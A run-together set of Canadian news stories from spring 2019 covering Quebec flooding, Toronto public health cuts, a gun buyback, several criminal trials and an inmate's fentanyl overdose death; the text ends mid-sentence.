Evacuees were being taken first to the town hall in nearby Grenville-sur-la-Rouge, and those with no alternative lodging were being transported to the arena in Lachute, about 40 kilometres away. Hydro-Quebec said through social media that if the dam breaks, the water flow would have minimal impact on locations downstream once it joined with the Ottawa River. According to the utilitys web site, the concrete dam, built in 1942, is 19 metres high and almost 60 metres long. It has the capacity to hold back 4 million cubic metres of water. The dam failure alert was to be maintained until 11:45 p.m. Thursday, according to the Quebec public security website. Quebec Premier Francois Legault tweeted that those at risk had been advised and provincial authorities are keeping close tabs on the situation. The warning comes as many parts of Quebec have been hit by flooding. Officials say the flood risk remains high because of a combination of precipitation in the forecast and melting snow to the north. Earlier on Thursday, Guilbault toured the Lachute area, northwest of Montreal, where flood waters on the Riviere du Nord have risen in recent days. She said she was impressed with the level of preparation in smaller communities and was satisfied that the number of people on the ground working on flood relief which includes nearly 1,000 Canadian soldiers was sufficient. Guilbault added she wouldnt hesitate to ask for more help if necessary. Quebec public security officials said more than 2,500 homes were flooded and more than 2,100 were isolated Thursday, meaning they were considered cut off due to washed out roads or landslides. Authorities also warned specifically against landslides reported in various parts of the province. One person has died since widespread flooding began in the province. In Montreal, officials raised the security level and increased the number of teams on the ground amid fears flooding could get worse in the coming days but stressed the situation was under control. Youre going to see more firefighters, youre going to see more police officers and more municipal workers to help for floods that could come this weekend, said Martin Guilbault, operations chief of the Montreal fire department. Mayor Valerie Plante warned that anyone who was flooded in 2017 should prepare their homes for more flooding and possible evacuation if they havent done so. The threat is actually very concrete and direct and this is the message we want to send the entire population, she said. Environment Canada issued a rainfall warning for Montreal with 30 to 50 millimetres expected Friday and Saturday. Rain is expected to begin in southern Quebec midday Friday and intensify overnight, spreading eastward. In Ottawa, Mayor Jim Watson declared a state of emergency Thursday afternoon, calling in the Canadian Forces to help with flood protection in the capital. Read more about: SASKATOONThe chief of the Federation of Sovereign Indigenous Nations says it will not be signing a relationship agreement with RCMP after officers failed to properly investigate a trespassing complaint on a reserve. Bobby Cameron says a memorandum of understanding was set to be signed with Mounties this year, but it wont happen now. The FSIN complained after a farmer who had been evicted from a reserve east of Regina for failing to pay rent was spotted there last week. Ochapowace First Nation Chief Margaret Bear says the farmers son was attempting to harvest the crop on the property and, when staff approached his truck, they saw a gun within reach in the vehicle. They called RCMP but officers did not immediately respond. RCMP later said they had done an initial review and determined not all proper steps were followed in the investigation. Cameron says RCMP would have handled the complaint differently if an Indigenous person was reported to be trespassing on non-reserve land with a gun. What if I was on non-First Nation land with a gun that was exposed and continue to go onto land that I wasnt supposed to be on. What would happen to me? Cameron said at a news conference Thursday. I would probably get shot. If I wasnt shot, Id be put in remand, thrown in jail until I was charged with trespassing. Saskatchewan RCMP said in an email Thursday that they are working directly with the people involved in the trespassing complaint. The RCMP is committed to continuing our work with the FSIN and all Indigenous people in Saskatchewan regardless of the status or existence of MOUs, said the statement. We will continue to work hard to strengthen our relationships with all the communities we serve with the end goal of safer communities for all Saskatchewan residents. OTTAWAA legal challenge by former Afghanistan captive Joshua Boyles wife in the middle of his sexual-assault trial sets a very dangerous precedent that could be disastrous for such proceedings across Canada, Boyles lawyer says. Lawrence Greenspon said Friday he will vigorously oppose the timing and substance of Caitlan Colemans appeal of a recent ruling that allows Boyle to introduce evidence about the couples consensual sexual activity. Boyle, 35, has pleaded not-guilty in Ontario court to offences against Coleman, 33, including assault, sexual assault and unlawful confinement. The alleged offences date from late 2017, after the couple returned to Canada following five years as hostages of extremists who seized them during an ill-fated trip to Asia. The assault trial, which began in late March, is suspended indefinitely while Coleman heads to Ontario Superior Court on May 15 to challenge the ruling allowing Boyles lawyers to examine her and Boyles sexual history. The law sets out limits on the extent to which an accused person can bring up an alleged victims sexual history during a trial and legislative changes that took effect in December gave complainants in sexual-assault cases a bigger say in proceedings on allowable evidence. Read more: Assault trial for ex-Afghanistan hostage Joshua Boyle delayed Ex-hostage Joshua Boyle was angry, bossy after release, witnesses tell court Defence lawyer suggests Joshua Boyles wife lied about an alleged assault But Boyles legal team has expressed concern about the detrimental effects that a delay of months or even years could have for the accused. Greenspons co-counsel, Eric Granger, told the court this week that the case hinges on the reliability of evidence, which does not get better with time as memories fade. In addition, Boyle must abide by strict bail conditions that limit his freedoms while the trial plays out. Greenspon said Friday that Boyle would oppose Colemans application in Superior Court. Theres a real concern, and I think there ought to be, about this step being taken in the middle of a criminal trial, Greenspon said after a hearing to discuss next steps. It would set a very dangerous precedent to allow that kind of application to happen midtrial and the impact on all other sexual-assault trials across the country would be I dont think its overstating it to say disastrous. However, Greenspon welcomed a commitment from Colemans lawyer, Ian Carter, that could lead to a relatively speedy resolution of the legal snag. Carter said Friday that Coleman had instructed him not to appeal the outcome of the challenge even if it goes against her to help ensure the trial gets back on track. We discussed the matter, and while she feels strongly with respect to the issue thats arisen, at the same time we want to ensure that the trial moves forward in an expeditious manner, Carter said. Greenspon said that was potentially good news in terms of putting a cap on the delay. However, he is reserving Boyles right to appeal the Superior Court decision if it doesnt go his way. A ruling from the higher court could come later this spring, meaning Boyles assault trial might resume as early as July if there are no further appeals. The lawyers discussed potential dates Friday that could see the rest of the trial unfold in several sittings over the summer and early fall. Both of Torontos school boards will soon be warning parents about the risk of cuts to public health programming negatively impacting their students. With the Ford government suddenly revealing cuts to their share of public health programs in Toronto and across the province, questions about what that will mean for programs currently funded by Toronto Public Health, such as the student nutrition program, remain unanswered. At a meeting Thursday night, the Toronto District School Board voted unanimously to ask the province to pause any cuts pending a consultation about the effects and also to notify all parents of the risk of a funding loss and the possible impacts that any service reductions will have on students in our schools. That followed a move Wednesday by the Toronto Catholic District School Board, which also voted unanimously to urge the province to reconsider the cuts and to write home to parents. Both boards specifically mentioned the potential threat to student nutrition. The student nutrition program provides healthy breakfasts, lunches and snacks on specific days or a daily basis depending on location. Parents are made aware of the costs and some pay for the meals, but students arent charged at the time they get their food in order to avoid stigmatizing those who cant afford to pay. Have you tried to go to work hungry? Its very hard to focus, Ward 9 TCDSB Trustee Norman Di Pasquale told the board Wednesday night. We want to give our parents the information that the student nutrition program is under threat due to the cut to Toronto Public Health to inform them of this impending cut before it takes effect, taking our school communities by surprise. Read more: Toronto clashes with province over public health cuts Toronto Catholic school-board chair joins critics of Tories public-health cuts Public health squeeze is the unkindest cut of all from Ford On Friday, Health Minister Christine Elliott said programs like student nutrition would be unharmed. The breakfast clubs will continue as always, she told Newstalk1010. The money that comes from the government for those programs doesnt even come from the Ministry of Health, that comes from the Ministry of Community and Social Services. However, the citys board of health chair Councillor Joe Cressy said the student nutrition program is funded in large part by the city through Toronto Public Health. Cuts to public health, he said, put that and others programs at risk. The breakfast programs operate in every neighbourhood in every corner of our city, said Cressy. Toronto Public Health puts in the bulk of the funding for the student nutrition programs . . . When you cut Toronto Public Health you force us to make tough decisions and Im deeply worried that our breakfast programs are at risk. In 2018, the province contributed $8.5 million to student nutrition in Toronto and the city funded $14.4 million of the cost, according to a breakdown provided by Toronto Public Health. The rest comes from money provided by parents, community fundraising and corporate donations, which has not been tallied for 2018 yet. In 2017, the total from other sources was $6.3 million. The majority of program funding goes to food costs, with relatively little administrative costs with the help of parent volunteers, said TDSB board chair Robin Pilkey. The programs actually run out of money often before the end of the school year, Pilkey said. According to the breakdown provided to the Star, the program provided 210,842 meals daily in 2018 in 617 schools across the city. A ward breakdown showed the highest volume of meals 17,446 per day was served in Ward 7 (Humber RiverBlack Creek), represented by Councillor Anthony Perruzza. In a statement Friday, Perruzza, who is also the citys poverty reduction advocate, said he was devastated by the provincial cuts, noting the possible consequences for the student nutrition program. These extreme cutbacks are harmful to everyone and they will directly impact our citys poverty rate, the statement said. NDP MPP Tom Rakocevic, who represents the area, called the potential effect on student nutrition heartless. This is a basic, primary need for children, he said. The second-highest volume of meals is provided in Etobicoke North, Premier Doug Fords own riding and where his nephew, Michael Ford, is a councillor. Councillor Ford, in a statement, called the nutrition program critically important to his community and said Toronto Public Health should continue to maintain funding for it and all vital services. It is incumbent on the city to find efficiencies and continue to provide these services, he said. A 2012 evaluation of an initial-two year pilot program by the TDSB found significant differences in student achievement between those who regularly had the morning meal and those who didnt, while recommending a continuation of the program. Share your thoughts For example, report card data from Grade 7 and 8 students showed 61 per cent of students who ate the morning meal daily achieved or exceeded the provincial standard for reading while only 50 per cent of those who got the meal a few days or not at all met those goals. The city and province still disagree on the financial impact of the funding cuts to Toronto Public Health. Toronto Public Health provided a budget analysis after the cuts were revealed last week showing a loss of over $64 million this year, assuming the city does not contribute any more than it does today. With the provincial share further decreasing by 2021, the cut over 10 years would amount to more than $1 billion, the city says. On Friday, the province told the Star that under their calculations, Toronto would face a cut of only about $25 million this year. That figure assumes the city would increase spending to a 40-per-cent share of all programs, including those currently funded entirely by the province. The number is less than the $33 million earlier stated by the province because it assumes a nine-month, rather than 12-month impact, with the cut being retroactive to April 1. A provincial official said they have not calculated the long-term hit to Toronto because it would assume the programs stay exactly as they are today. On Friday, both sides continued to spar over the cuts. In the Newstalk1010 interview, Elliott suggested the gap created by the provincial downloading could be, in part, covered as a result of what she assumed would be savings of a new transit plan presented by Ford. Theyve got a huge commitment with respect to subways that should certainly help them, Elliott said. Mayor John Tory fired back in a response to questions from reporters at a later news conference. What does that transit funding have to do with filling the stomach of a hungry child? he asked. The answer is one has nothing to do with the other and the very fact they would be juxtaposed, to me, its hard for me to even take that seriously. Read more about: Torontos chief transformation officer is, less than two years after being hired to help digitize, modernize and streamline the city, transforming himself back into a private-sector consultant. Michael Kolm, in an exit interview with the Star during his final hours at city hall, expressed pride in his teams work, some regret at how much of it was internally focused rather than aimed directly at residents, and some frustration at events above him that made the newly created role tougher. We did a good thing here. Every job has its unique challenges; Im looking forward to the next one and Im going to continue working on them just from a different place, Kolm said last week, adding it was his choice to leave for a job at a major consulting firm he was not at liberty to divulge. With smart city (experience) and all these transformational things, I believe I have something to offer other cities and Id like to do that from a position in the private sector. Thats a personal decision, to go for a bigger opportunity. Kolm walked into city hall May 29, 2017 after almost two decades advising corporations and governments in Canada and abroad, in senior roles at major management-consulting firms. At the time, Mayor John Tory expressed confidence Kolm, reporting to the city manager, would help the city get a more modern and innovative public service that delivers maximum value for the publics tax dollars. Although Toronto has a booming private tech sector, it is rarely mentioned alongside Boston and New York as North American cities smartly embracing technology to improve how it works for residents. Asked about a Kolm replacement, Torys office this week said: We understand that the city manager is reviewing the (chief transformation officer) role and decisions around next steps have yet to be made. As they consider next steps, the mayor has made it clear to the city manager and other senior staff that their objective must be to speed up the pace of transformation and modernization at the city this term. Kolm, who according to the Ontario Sunshine List earned almost $240,000 last year, said his three big buckets of transformation were financial sustainability (including city purchasing), customer service, and city employee experience and workplace. On the first, he points to a July 1 target to have goods and services purchased by the city about 1,000 tenders a month processed through a web-based system. In the past, requests-for-proposals were posted online, but vendors had to submit paper bids sometimes boxes full of documents. On employee experience, he noted moves to revamp city offices (with some floors already done at Metro Hall) to be more like modern corporate offices, with common spaces for worker collaboration. On customer service, Kolms office was not directly involved in the two best-known success stories a revamp of the city recreation program sign-up process and Toronto Parking Authoritys Green P app that lets motorists pay for parking via smartphone and remotely top up their time. His 15-member team has been involved with improvements to 311, with a better tool kit for operators so they can solve residents issues in one call. The city will also soon launch a new system to give builders more information and clarity about the process of development applications. For regular residents, a new online interface will complement 311s phone-based system, letting Torontonians create a ticket for service requests, including noise complaints and cracked sidewalk repair; complainants can then follow staff action on the request online, minute by minute, to completion. They can still call 311 but online theyll get a better tracking service, Kolm said. If I look back at the last two years and say is there an area where I think we could have pushed a little harder, it would be on that (customer service) front, including so-called smart city technology such as sensors and data analysis to improve mobility, housing and more, he said. If I was here two more years that would be the piece Id push on. Kolm was tasked by then-city manager Peter Wallace to help develop Torontos entry to the federal governments Smart City Challenge, with municipalities proposing innovative solutions to urban challenges to win a prize, in the big cities category, of $50 million to execute it. Torontos proposal, to help low-income Torontonians in apartment towers fully access digital job and cultural opportunities with broadband internet, library services and more, failed to make the federal governments five-city shortlist announced last August. Rob Meikle, Torontos chief information officer, now oversees smart-city initiatives. Kolm said he adapted to bureaucracy and a different pace, with requirements for city council approvals. Christin Carmichael Greb, a low-profile rookie councillor last term, was named Kolms liaison with council. But changes in senior city staff, including Wallaces departure in early 2018, made change harder, Kolm said. I did have three bosses and the leadership team turned over a couple of times, he said. From my seat, trying to do corporate transformational work where everybody has to get on board, thats really challenging. If I dont have clear, visible, focused 100-per-cent support, and air cover from the city manager and his leadership team, then its difficult to make progress. I was a victim of just timing. Councillor Paul Ainslie, the government services chair who pushed for creation of the transformation office, told the Star he was surprised when Kolm announced in February he was leaving the city. Ainslie said he hopes Kolm is replaced but suggested restructuring the chain of command. I dont think it was such a great idea to have him answering (last term) to 44 city councillors, Ainslie said, especially when a number of them werent very technologically driven. Correction - April 29, 2019: This article was edited from a previous version that misstated Rob Meikles title. The lawyer for the 19-year-old woman accused of tossing a chair from a downtown highrise balcony earlier this year is hoping for a discharge, he said after a brief court appearance Friday. However, the Crown and the defence are still a long ways apart as pretrial hearings continue, lawyer Greg Leslie told reporters outside the courtroom at Old City Hall. His client, Marcella Zoia, is facing charges of mischief endangering life, mischief involving damage to property and common nuisance for allegedly tossing a chair from an upper-floor balcony toward the busy Gardiner Expressway, hundreds of feet below. Zoia, whos been dubbed chair girl on social media, did not appear in court Friday. She turned herself in to police on Feb. 13, days after video of the chair-throwing incident circulated widely online, and was released on a $2,000 bail. Read more: 19-year-old who allegedly threw chair off downtown highrise was under peer pressure, defence lawyer says Nothing disappears: Why social media shaming may have lasting consequences for Torontos #chairgirl Residents of condo tower where woman threw chair off balcony say short-term rentals are not a problem At the time, Toronto criminal defence lawyer Daniel Brown, who is not involved in the case, said Zoias charges could lead to anything from no criminal record to jail time. He cautioned a more serious sentence would only be likely in a case involving factors such as a prior criminal record, alcohol or drugs and a large number of lives endangered. The chair landed on a sidewalk outside the condominium tower near Harbour and York Sts. No one was injured. Police later said a second chair and other items were also tossed from the balcony. Police have not identified the person who filmed the video. After briefly deleting her Instagram account following the incident, Zoia has since returned to social media. Leslie added Zoia is more or less living at home, and doing fine. She is also endeavouring to get into another school, after he said she was kicked out of a dental hygienist program following the charges, he added. Her case is scheduled to return to court on June 14. Editors note April 26, 2019: This article has been edited from a previous version that misspelled lawyer Greg Leslies name in one reference. Toronto police and the city have launched a three-week gun buyback program they hope will encourage people to surrender unwanted weapons for a price. The city has allocated hundreds of thousands of dollars to fund the program, which will pay Toronto residents $350 for every handgun and $200 for every long gun turned over for destruction between now and May 17, Mayor John Tory said at a Friday news conference at Toronto police headquarters. While the program is not a magic pill to solve all gang and gun crimes, its among a series of measures the city is taking to respond to a record year for gun crime and murders, Tory said. I personally think this buyback will make a difference, he said. Its one more thing we can do at a relatively modest investment. Every gun surrendered is one less gun in our community. One less gun potentially available to people who want to cause mayhem in our city, he said. It represents only a small part of a complicated series of measures that were taking, he said. A similar buyback program in 2008 brought in the neighbourhood of 2,000 guns, Tory said, adding this years goal is to bring in as many guns as possible. Almost 500 of those were handguns. Residents are warned not to bring their guns to any police station or city facility, Toronto police Insp. Chris Boddy said. Instead, residents should call police to arrange for pickup. We do not want citizens walking into police stations with firearms, Boddy said. I would ask them to ensure the firearms remain safe in their home until the police get there. The guns will be tested by the guns and gangs unit to ensure they havent been involved in a crime, he said. The owner will be compensated four to six weeks later, regardless of whether their guns were legally registered or not. Funds will be paid via a pre-paid credit card. In a 2013 buyback, police collected 500 guns after paying about $150 per weapon, Boddy said. Police hope the larger payments this time will make the program more attractive for gun holders, he said. Any resident who turns over their guns will not face charges for possession or unsafe storage. Though people handing over firearms will be granted immunity for its possession, Boddy said, if we find that the firearm has been used in a criminal offence, we will do some further investigation. Keeping track of who surrendered the guns is key, Boddy said. Allowing people to remain anonymous would provide criminals a loophole to get rid of weapons that may of being used to commit a crime, Boddy said, adding that police want to attach that key piece of evidence to a source. We would be under great criticism if we undertook that approach, Boddy said. Mayor Tory said he and Chief Mark Saunders are looking at every way we can to address gun violence. Many of the guns seized in previous buyback programs, were kept in unsecured places in peoples homes, leaving them accessible to criminals who may break into those residence, the mayor said. Read more: Toronto police want your guns. But do amnesties work? A closer look at New Zealands new weapons ban Brampton councillor targeted with racist attacks over cash-for-guns initiative Toronto broke its one-year record for homicides in 2018, a year that also saw the largest number of shootings 428 in police data that goes back to 2004. Fifty-one people were shot dead in Toronto last year. In Brampton, councillors last month shot down a proposal by councillor Charmaine Williams to offer cash for guns as part of Peel Region polices spring gun amnesty. Council instead approved a motion calling on the city to work with police, all levels of government and community leaders to address root causes of gun violence. Williams proposal had called for $100 per gun, to a maximum of $300 per person. Peel police Chief Chris McCord told councillors he had no evidence to show that incentives for turning in unwanted guns were effective. Similar programs have been in place previously in Toronto, across Canada and throughout the U.S. In 2015, experts told the Star gun buyback programs are unlikely to encourage criminals or gang members to turn in their weapons. Thats in part because these programs are not anonymous. Instead, police typically take down the name of the owners and information about the gun, then the weapon is tested for any links to ongoing criminal investigations and that could result in criminal charges. A 2004 study in the National Academy of Sciences found gun amnesties do not pull in the kinds of guns used in crimes. The guns that are typically surrendered are those that are least likely to be used in criminal activities the guns tend to be old, malfunctioning guns whose resale value is less than the reward offered in buy-back programs, or guns owned by individuals who derive little value from them, the report says. New Zealand recently launched an extensive buyback as part of sweeping new laws that banned military-style semi-automatic weapons in the wake of the Christchurch massacre, in which a gunman opened fire in two mosques, killing 50 people. That program could cost New Zealand, which has a population of five million people, up to 200 million New Zealand dollars ($180 million Canadian). To participate in the buyback, police ask city residents to call the Toronto police non-emergency line at 416-808-2222 between 7 a.m. and 7 p.m. and an officer will visit your home to pick up the gun. A prominent lawyer and former Osgoode Hall law professor pleaded guilty to bigamy and forgery Friday in the same Newmarket courthouse where his first and only legal wife sits as a justice of the peace and where his deception was originally discovered last year. James Morton, 58, stood briefly in court to acknowledge that he was taking responsibility for forging a judges name on a fraudulent divorce order and, later, forging the signature of a court clerk on a bogus divorce certificate he used to apply for a marriage licence at Hamilton City Hall. Within days of that application, York Regional Police were trying to untangle the messy marital web and had advised Morton of this fact. Despite this, Morton married Jennifer Packwood on May 12, 2018, even though he had never divorced Rhonda Shousterman, whom he married in 1990, Crown attorney Robert Scott said reading from a complicated agreed statement of facts on Friday. Packwood, Mortons former law clerk and the woman he conned into believing he was divorced, read from her lengthy victim impact statement Friday. In it, Packwood outlined the devastating impact of the most traumatic event of my life, the result of a marriage to a man I dearly loved. She said she first learned of his deceit in an interview room at a police station in Hamilton, where Morton practised law. Everything I believed was fabricated. Everything was a lie. It was a lie after lie after lie, she said from the witness stand as Morton sat hunched over the defence table. Nevertheless, she said she has forgiven the man she thought she had married. I forgave him for me, so I can move forward with my life, she said. Mortons licence to practise law is currently under suspension. According to the agreed statement of facts, Packwood had worked for Morton for about 10 years and the two began an intimate relationship a few years ago. In 2016, they moved in together, leasing a house in both of their names. In March 2017, they got engaged in Montreal and a few months later bought a house together in Hamilton that doubled as a residence and law office. They intended to get married that October. Packwood had obtained a legal divorce from her husband and she believed Mr. Morton was in the process of getting a divorce from his first wife so they could legally marry, the prosecutor said. Instead, Morton created a fake divorce order to convince Packwood he would be free to marry but not until after their planned wedding date. That wedding was called off and a new date picked in the spring of last year. Aware they needed a divorce certificate, Packwood gave a law student who worked in their office the fraudulent divorce order which she thought was legitimate to deliver to the Newmarket courthouse. The courthouse clerk, however, realized there were problems with the fake divorce order, including conflicting judges signatures. Nor was there any record of any divorce proceeding. The student returned to Packwood and said he could not get the divorce certificate. After a more thorough search of records, the Newmarket court office contacted York Regional Police and a criminal investigation began. Investigators contacted Shousterman and she confirmed she was not divorced. Police also contacted Mortons law student who produced the fake divorce order and informed police about the couples impending nuptials. Morton applied for a marriage licence at Hamilton City Hall on May 2, bringing with him a fraudulent divorce certificate he had created using the forged signature of the court clerk who had signed Packwoods legitimate certificate of divorce. On the marriage licence application form he declared he was divorced and wrote a fake court file number. The licence was issued that day. Six days later, police spoke to Morton to arrange a time to interview him, but he told them he was not available until after May 15. On May 12, Morton and Packwood were married and the law student who attended the wedding sent police photos. When Morton was interviewed by police on May 23, he told them he was married to Shousterman, acknowledged problems in his marriage to her, but he was trying to fix them; trying to work it out, and said he had created a phony divorce order, but did not intend to give it to anyone. He also said he created it while sad, desperate, drinking, and barely remembered doing it. When asked if he ever told Jennifer Packwood that he was divorced he said no, the prosecutor said, reading from the agreed statement of facts. Thirty minutes into the interview, the officer placed Mr. Mortons wedding invitation in front of him and asked, What can you tell me about this? to which Mr. Morton answered, Nothing. He ended the interview a minute later and left the room. Police charged Morton, who is a former president of the Ontario Bar Association, last June. Scott told Ontario Court Justice Howard Borenstein he will ask for a six-month conditional sentence of house arrest. Defence lawyer Stephen Bernstein said he believes a discharge is appropriate. A sentencing hearing is scheduled July 24. Winston Poyser watched Lenneil Shaw and a man he knew as Kron-dog open the door of a Pizza Pizza. Next he heard a loud bang the distinct bark of a shotgun and then the three men ran back to his black SUV, where Shaws twin brother Shakiyl was in the drivers seat, Poyser testified in a downtown courtroom Friday. The Shaw twins and Mohamed Ali-Nur, whom Poyser identified as Kron-dog, are on trial for the first-degree murder of 17-year-old Jarryl Hagley. The teenager was fatally shot in the chest with several shotgun pellets in the Pizza Pizza on Weston Rd. near Lawrence Ave. shortly before 2 a.m. on Oct. 16, 2016. Poyser, the Crowns star witness, was initially charged with first-degree murder but that charge was dropped in June 2018 after he pleaded guilty to accessory after the fact to murder and received a sentence of 27 months. After his arrest in December 2016, Poyser said that he wanted to give a statement to police outlining his involvement in the shooting as well as implicating others, prosecutor David Tice said in his opening address. It was agreed that any statement he gave would not be used against him, Tice said. On Friday, Poyser, now 26, told a jury what happened the night of the shooting. Read more: Man who took plea deal in Pizza Pizza slaying takes stand to point finger at others He had been drinking and, along with the Shaw twins, he had taken MDMA, he testified. He also saw what appeared to be a rifle and a handgun while the four men and others were hanging out in a dimly lit basement. Poyser was going to drop the three men off in his mothers SUV, but felt too drunk to drive, so Shakiyl Shaw did instead. We are like talking really loud, we were really high, Poyser said. As they drove by the Pizza Pizza, Poyser testified Kron-dog said: Theres Jarryl. They continued to slowly circle the Pizza Pizza about three times, stopping and starting the car. Then Shakiyl Shaw parked and Lenneil Shaw asked Poyser to get out of the car with him. I wasnt sure if they were gonna go talk to this kid, if he was one of their friends, if they were going to rob him, Poyser testified. No motive for the shooting has been suggested at the trial. Lenneil Shaw walked towards the Pizza Pizza, followed by Kron-dog. Poyser testified he lagged behind, smoking a cigarette. He saw Shaw open the door of the Pizza Pizza, closely followed by Kron-dog. He said he was watching a bus and other cars go by when he heard the shot. Then he looked up and saw Shaw run past, he said. I was more heavy-set and I wasnt wearing a belt. I was trying to run, I couldnt keep up they made it around the corner. When I get there the car is already rolling, I get in the car and it drives off. Poyser said he didnt see the two men holding anything. They cut past me so quick all I really saw was their backs, he said. Watching a security video from a neighbouring store, Poyser said it looked like Lenneil Shaw was carrying a rifle as they ran away. Once in the car, they did not speak except for Kron-dog, who said his gun jammed and came really close to Lenneils head, Poyser said. After Poyser got home that night, he said he stayed up all night because of the MDMA. After the high wore off in the morning he said he erased the SUVs dashboard camera, reformatted the memory card and threw it into a sewer. He said he also put the clothes he wore that night into a donation box. Then he went back home and just waited for it to settle in. He started googling suicide stuff, he said. I was stressed, I didnt really care for whatever situation was going on. The suicidal feelings passed and he went to work that week, he said. He said he didnt know at that point that someone had died he found out later that day. Of why he deleted the dash-cam footage and ditched his clothes, he said: whatever happened (that night) was stupid and I should get rid of this, so I got rid of it. Shakiyl Shaw called him two days after the murder and asked him about the dash cam. Poyser said he had thrown it away, he said. Poyser said he saw Jarryl Hagelys mother speaking on television about her sons murder a few days later hed been watching the news every day. He then called his lawyer. He said he knew by then that there were lots of cameras in the area and that the cars owner could be identified. He didnt want his mother to be arrested or embarrassed, he said, and he arranged via his lawyer to turn himself in and take accountability, though he knew he would go to jail. He started drinking viciously during this time, he said. Poyser said police informed his lawyer that he should surrender after Christmas. He did so and was charged on Dec. 28, 2016. When he came to the station he was too drunk to give his statement so he gave it the next day after sobering up. The trial continues next week with Poysers cross-examination. Police say theyve arrested a third man in the alleged abduction of a Chinese student from Markham. York Regional Police say they arrested Nathan Plater, 22, of the Ontario Township of Clearview, on Thursday for the disappearance of 22-year-old Wanzhen Lu. They allege Lu was approached from behind on March 23 in the underground lot of his condominium by three men who jumped out of a van, shocked him with a stun gun and forced him into the vehicle. Lu was found three days later more than 150 kilometres from home when he stumbled onto a property in Gravenhurst, Ont., asking for help. Plater has been charged with kidnapping, forcible confinement and possession of a prohibited firearm. Police have already arrested two men and have a Canada-wide warrant out for the arrest of a fourth man, Muzamil Addow, 28, of Toronto. York Regional Police continue to dedicate significant resources to find additional suspects, as they are still at large and are considered armed and dangerous, the force said in a statement. We strongly recommend that the suspects involved in this kidnapping seek legal counsel and turn themselves in. Read more about: Cathy Johne was relieved to learn her son was back in jail. Derek Johne, 28, had wrestled with addiction much of his life. For his mother, the news he was in the Maplehurst Correctional Complex in Milton after an arrest for theft meant he would receive medical attention and psychological support, and be under careful watch. He had asked me to hold on and believe in him one more time, because he was going to get help this time, she told the Star. Her son was arrested in late April 2017 for stealing from a Whole Foods Market and LCBO and violating his probation. He had been in the jail for less than two months and was counting down the days to a pretrial he hoped would lead to his release when he was found unresponsive inside his cell, on the evening of June 20. Jail staff tried to revive him, as did the paramedics who took him to Milton District Hospital, where he was pronounced dead. The coroner declared the death an accident and the cause a toxic combination of heroin, oxycodone and the synthetic opioid fentanyl. A memorial service was held on the same day his loved ones hoped he would be let out of jail. Fentanyl, in prescription form, is used to manage extreme pain but new and widespread illicit versions of unpredictable potency have been identified by front-line workers and health experts as the biggest risk for recreational users and are increasingly linked to a surging death rate across the province. Despite Cathy Johnes failed hope that incarceration meant her son was safe, his story confirms what those fighting for better services for drug users already know, that there is little that can keep fentanyl at bay not even prison gates. Public Health Ontario reports that types of fentanyl were detected in the blood of nearly 64 per cent of the 1,265 people who died of an opioid overdose in Ontario in 2017, up from almost 41 per cent of 867 people in 2016. Derek Johne was among five Maplehurst inmates who died in 2017 and one of three whose deaths involved some kind of overdose, the Office of the Chief Coroner for Ontario confirmed. The office, which records all fatal overdoses across the province, provided the Star with statistics on deaths for 36 Ontario facilities from 2010 to 2017 including correctional facilities, jails, treatment and remand centres, detention centres and youth centres although overdoses are lumped together under alcohol toxicity, drug toxicity or both. The 2018 data is not available yet. The year Johne died, 44 per cent of the 25 deaths across all facilities involved some form of toxicity, compared to 41 per cent of a total of 17 deaths in 2016 and slightly under half of the 15 deaths reported in 2015. Howard Sapers, the former independent adviser for Ontario jails, said despite the physical barriers created through incarceration, inmates are not immune to what takes place outside the walls including changes in the street drug supply. Sapers said narcotics will never be kept entirely out of jails and there must be more training, treatment options and tools to prevent the deaths of people who will inevitably use them. In Canada, we tell ourselves we do not send people to jail to die, he said. Ontarios Ministry of the Solicitor General does not comment on individual inmates or security protocols, spokesperson Andrew Morrison told the Star via email. This government has been clear in its commitment to addressing issues facing correctional services, including reviewing existing corrections legislation, Morrison said. Protecting the people and ensuring staff safety will guide this work. Because Johne was in provincial custody, an inquest will be held. The average wait for the public hearing is two years and no date has been set. For his mother, who has been told she also must wait to hear what happened to her son, the opaqueness of the lengthy process has been unbearable. I dont think Ive totally dealt with Dereks death because I dont have all the answers yet, she said. When you say overdose, a lot of people think right away that he took his life. He didnt ... he had a plan. Derek Holden Johne was much more than the drugs that often controlled parts of his life. A quiet child he was drawn to adults, particularly his mother. He was the helper in the household, big-hearted and loving, she said. While affection came easily, he struggled in school and was later diagnosed with attention deficit hyperactivity disorder. The family moved from Burlington to Magnetawan, a township near Parry Sound, so he could be in smaller classrooms, and he responded well. That made him happy to be acknowledged, his mother said. They rented a farmhouse on about 30 square kilometres of land, with a pond and beaver dam, thick with trees and cut by weaving trails. Derek, his older brother, younger sister and mother would all ride snowmobiles through the property. Wed go out there and the kids liked to do doughnuts on the ice, she said. At Christmas they would ride across the snow and cut their own tree. Grades 7 and 8 meant bigger classes, new friends and trouble that included smoking, stealing small things and breaking into abandoned buildings, Cathy said. Derek spent time in youth facilities, including ones in North Bay and Sudbury. Even from a young age, I tried and tried and tried to get him help and there wasnt help available for him. I always say the system failed him, she said. During one of those stays, staff prescribed mood-regulating drugs, which Derek never stayed on as they made him feel sick or unlike himself, his mother said. After that he was always looking for a certain feeling, a certain something that he was missing, which he tried to get back by trying different types of drugs, she said. He could never explain it to me, but it made him feel better and he was always looking for the next one that would make him feel even better. A final straw, about a decade ago, was when he asked her for money while she was recovering from surgery, she said. It could be your son; it could be your husband, your neighbour, your doctor, your lawyer. So many people are addicted and need help. And it just takes over your life so fast. Chasing that certain feeling was part of Dereks bond with fiancee Nicole Eldridge. They met in 2012 and became inseparable. He had unconditional love for me, she said. They got heart tattoos instead of wedding bands because he might have sold the rings. The couple were addicts, she says, but it was about functioning, not partying. Their drug of choice, crack cocaine, helped them focus and quelled their anxiety. It helped us. We called it our medicine. Eldridge told the Star she gave up hard drugs a year and a half ago and has been fighting to stabilize her mental health. The last time she saw Johne was the night of the arrest. According to a summary of charges submitted in court, Johne stole from an Oakville Whole Foods and nearby LCBO and had violated the rules of his probation that forbade him from purchasing, consuming or being in possession of alcohol, and from entering LCBO stores or a Petro-Canada on Third Line. From jail, Johne spoke with Eldridge on the phone several times a day and I always had letters, she says. In his last letter, which she read after he died, he asked her to have his baby. Their plan was to work on recovery together, she says, and buy a real ring. We had been talking about it for months. This was not the life we wanted to have, she said. Eventually, they were going to seek full custody of her young daughter, whom he loved deeply and who called him Daddy Derek. While Johne was in jail he would have, as his mother hoped, access to a range of treatment services. Ministry spokesperson Morrison told the Star that inmates, who are identified at the time of admission as having substance use issues, including opioid addiction, are assessed and provided needed health care supports, and the ministry partners with social service agencies so people get support both in and after leaving jail. Johne was looking forward to a 